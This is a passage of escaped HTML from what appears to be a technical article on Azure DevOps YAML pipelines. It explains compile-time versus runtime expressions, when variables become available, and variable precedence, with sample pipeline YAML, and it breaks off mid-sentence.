style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='692' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='772' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='404' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='548' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='596' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='612' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='676' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='692' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='756' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='164' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='404' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='548' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='596' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='612' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='692' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='756' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='340' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='548' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='596' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='612' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='692' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='756' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='340' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='548' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='692' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='756' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='164' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='612' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='692' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='756' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='164' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='228' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='612' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='692' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='164' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='756' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='756' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='756' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='756' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='228' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='244' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='756' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='772' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eThe Structural Boundary:\u003c/strong\u003e Decisions made in the orange zone (Phase 2) change the \u003cem\u003estructure\u003c/em\u003e of the pipeline (stages/jobs). Decisions made in the blue zone (Phases 4-5) change the \u003cem\u003ebehavior\u003c/em\u003e or \u003cem\u003evalues\u003c/em\u003e within that fixed structure.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eThe Availability Gap:\u003c/strong\u003e Variables like \u003ccode\u003eBuild.SourceBranch\u003c/code\u003e do not exist in the orange zone. If you use \u003ccode\u003e${{ if }}\u003c/code\u003e to test them, the result is always false because the data hasn\u0026rsquo;t arrived yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe \u0026ldquo;Golden Rule\u0026rdquo; follows directly from this sequence: you cannot use data from a later phase in an earlier phase. \u003ccode\u003e${{ }}\u003c/code\u003e cannot read a value that only exists in Phase 4. \u003ccode\u003e$[ ]\u003c/code\u003e cannot alter the structure of the pipeline that was fixed in Phase 2.\u003c/p\u003e\n\u003ch3 id=\"what-variables-exist-at-compile-time\"\u003eWhat Variables Exist at Compile Time\u003c/h3\u003e\n\u003cp\u003eThe compile-time variable store is small and static. Only two sources contribute to it:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# AVAILABLE at compile time (${{ }})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironment       \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# parameters are always available at compile time\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eregions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eshort\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebuildConfig       \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# static YAML-defined variables are available\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRelease\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eregistryName\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyacr.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# NOT AVAILABLE at compile time — these fail silently in ${{ }} expressions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Build.SourceBranch         → predefined pipeline variable (Phase 4)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Build.BuildId              → predefined pipeline variable (Phase 4)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# System.AccessToken         → predefined pipeline variable (Phase 4)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# myVar (from variable group) → variable group values (Phase 4)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# outputVar (from prior job)  → set during Phase 5, never available at Phase 2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eA common mistake is using \u003ccode\u003e${{ if eq(variables['Build.Reason'], 'PullRequest') }}\u003c/code\u003e to add a PR-specific validation job. \u003ccode\u003eBuild.Reason\u003c/code\u003e is a predefined variable populated in Phase 4. At Phase 2, \u003ccode\u003evariables['Build.Reason']\u003c/code\u003e resolves to an empty string, \u003ccode\u003eeq('', 'PullRequest')\u003c/code\u003e evaluates to false, and the job never appears in the plan — even on pull requests.\u003c/p\u003e\n\u003ch3 id=\"variable-precedence-and-override-order\"\u003eVariable Precedence and Override Order\u003c/h3\u003e\n\u003cp\u003eWhen the same variable name appears in multiple sources, Azure DevOps applies this precedence order (later entries win):\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003ePriority\u003c/th\u003e\n          \u003cth\u003eSource\u003c/th\u003e\n          \u003cth\u003eExpression Access\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e1 (lowest)\u003c/td\u003e\n          \u003ctd\u003eStatic YAML \u003ccode\u003evariables:\u003c/code\u003e declaration\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e${{ luxury_expr }}\u003c/code\u003e, \u003ccode\u003e$[ ]\u003c/code\u003e, \u003ccode\u003e$( )\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2\u003c/td\u003e\n          \u003ctd\u003eVariable group\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e$[ ]\u003c/code\u003e, \u003ccode\u003e$( )\u003c/code\u003e only\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e3\u003c/td\u003e\n          \u003ctd\u003eQueue-time override (pipeline UI or API)\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e$[ ]\u003c/code\u003e, \u003ccode\u003e$( )\u003c/code\u003e only\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e4\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003etask.setvariable\u003c/code\u003e (non-output)\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e$( )\u003c/code\u003e in subsequent steps only\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e5 (highest)\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003etask.setvariable isOutput=true\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e$[ dependencies... ]\u003c/code\u003e in subsequent jobs\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eA variable group value at priority 2 overrides the static YAML declaration at priority 1 at runtime, but the static YAML value is still what the compile-time \u003ccode\u003e${{ }}\u003c/code\u003e expression sees. If you use \u003ccode\u003e${{ variables.buildConfig }}\u003c/code\u003e in a template and a variable group also defines \u003ccode\u003ebuildConfig\u003c/code\u003e, the template expression uses the YAML-defined value, but \u003ccode\u003e$(buildConfig)\u003c/code\u003e in a script uses the variable group value.\u003c/p\u003e\n\u003cp\u003eMark variables that must not change with \u003ccode\u003ereadonly: true\u003c/code\u003e to block queue-time overrides:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod-arm-connection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ereadonly\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e   \u003cspan style=\"color:#75715e\"\u003e# Queue-time override rejected; pipeline fails with validation error\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"compile-time-expressions---\"\u003eCompile-Time Expressions — \u003ccode\u003e${{ }}\u003c/code\u003e\u003c/h2\u003e\n\u003ch3 id=\"structural-modification\"\u003eStructural Modification\u003c/h3\u003e\n\u003cp\u003eCompile-time expressions are the only mechanism that can alter the structure of the pipeline — adding or removing jobs, stages, and steps before the execution plan is finalized.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e${{ if }}\u003c/code\u003e, \u003ccode\u003e${{ elseif }}\u003c/code\u003e, and \u003ccode\u003e${{ else }}\u003c/code\u003e evaluate a boolean expression and include or exclude the YAML subtree that follows. The excluded subtree is completely absent from the Expanded YAML; it consumes no queue time, no agent time, and produces no skipped-step entries in the log.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e${{ each item in collection }}\u003c/code\u003e iterates over a parameter array or object to generate repeated structure. Each iteration renders a copy of the template body with \u003ccode\u003e${{ item.property }}\u003c/code\u003e tokens replaced by the current item\u0026rsquo;s values.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Conditionally add a security scan job based on a boolean parameter\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erunSecurityScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eboolean\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edotnet build\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if parameters.runSecurityScan }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSecurityScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eMicrosoftSecurityDevOps@1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Generate one deployment stage per environment from an object parameter\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev-arm\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eresourceGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erg-myapp-dev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod-arm\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eresourceGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erg-myapp-prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy to ${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAzureRmWebAppDeployment@4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eConnectedServiceName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eResourceGroupName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.resourceGroup }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"template-inclusion\"\u003eTemplate Inclusion\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003e${{ if }}\u003c/code\u003e controls which template files are included in the 